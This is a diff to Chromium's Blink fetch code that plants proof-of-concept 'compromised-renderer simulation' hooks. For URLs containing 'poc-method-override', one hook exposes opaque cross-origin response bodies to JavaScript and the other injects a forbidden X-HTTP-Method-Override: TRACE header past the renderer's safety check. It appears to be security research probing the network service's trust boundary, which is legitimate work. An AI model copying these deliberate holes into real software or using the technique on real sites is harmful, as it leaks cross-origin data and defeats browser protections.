diff --git a/third_party/blink/renderer/core/fetch/fetch_manager.cc b/third_party/blink/renderer/core/fetch/fetch_manager.cc index d6bfb4322a07d..351be446e19ad 100644 --- a/third_party/blink/renderer/core/fetch/fetch_manager.cc +++ b/third_party/blink/renderer/core/fetch/fetch_manager.cc @@ -14,6 +14,7 @@ #include "base/check.h" #include "base/feature_list.h" +#include "base/logging.h" #include "base/metrics/histogram_functions.h" #include "base/numerics/safe_conversions.h" #include "base/strings/strcat.h" @@ -776,6 +777,23 @@ void FetchManager::Loader::DidReceiveResponse( break; } case FetchResponseType::kOpaque: + // ---- POC injection (compromised-renderer simulation) --------------- + // The network service already handed this process the body DataPipe + // (CorsURLLoader::OnReceiveResponse forwards it regardless of + // response_type=kOpaque). An honest Blink hides it behind + // CreateOpaqueFilteredResponse(); a compromised renderer just reads + // the bytes it was given. Expose them to JS so the page can prove + // the leak end-to-end. + if (!url_list_.empty() && + url_list_.back().GetString().Utf8().find("poc-method-override") != + std::string::npos) { + LOG(ERROR) << "[POC renderer] kOpaque body present in renderer for " + << url_list_.back().GetString().Utf8() + << " -- exposing to JS (compromised-renderer simulation)"; + tainted_response = response_data->CreateBasicFilteredResponse(); + break; + } + // ------------------------------------------------------------------- tainted_response = response_data->CreateOpaqueFilteredResponse(); break; case FetchResponseType::kOpaqueRedirect: diff --git a/third_party/blink/renderer/platform/loader/fetch/url_loader/request_conversion.cc b/third_party/blink/renderer/platform/loader/fetch/url_loader/request_conversion.cc index 305cabfb4f7ca..37317ede04cdd 100644 --- a/third_party/blink/renderer/platform/loader/fetch/url_loader/request_conversion.cc +++ b/third_party/blink/renderer/platform/loader/fetch/url_loader/request_conversion.cc @@ -6,6 +6,7 @@ #include +#include "base/logging.h" #include "mojo/public/cpp/bindings/receiver.h" #include "mojo/public/cpp/bindings/remote.h" #include "mojo/public/cpp/system/data_pipe.h" @@ -441,6 +442,21 @@ void PopulateResourceRequest(const ResourceRequestHead& src, dest->is_ad_tagged = src.IsAdResource(); dest->allows_device_bound_sessions = src.AllowsDeviceBoundSessions(); + + // ---- POC injection (compromised-renderer simulation) ------------------- + // Blink's net::HttpUtil::IsSafeHeader (renderer-side) blocks + // X-HTTP-Method-Override: TRACE. A compromised renderer sets the header + // on the wire-level network::ResourceRequest *after* that gate, exercising + // only the network-service trust boundary + // (network::IsRequestHeaderSafe / CorsURLLoaderFactory::IsValidRequest). + if (dest->url.query().find("poc-method-override") != std::string_view::npos) { + dest->headers.SetHeader("X-HTTP-Method-Override", "TRACE"); + LOG(ERROR) << "[POC renderer] injected X-HTTP-Method-Override: TRACE on " + << dest->url.spec() << " (mode=" + << static_cast(dest->mode) << ", credentials_mode=" + << static_cast(dest->credentials_mode) << ")"; + } + // ----------------------------------------------------------------------- } } // namespace blink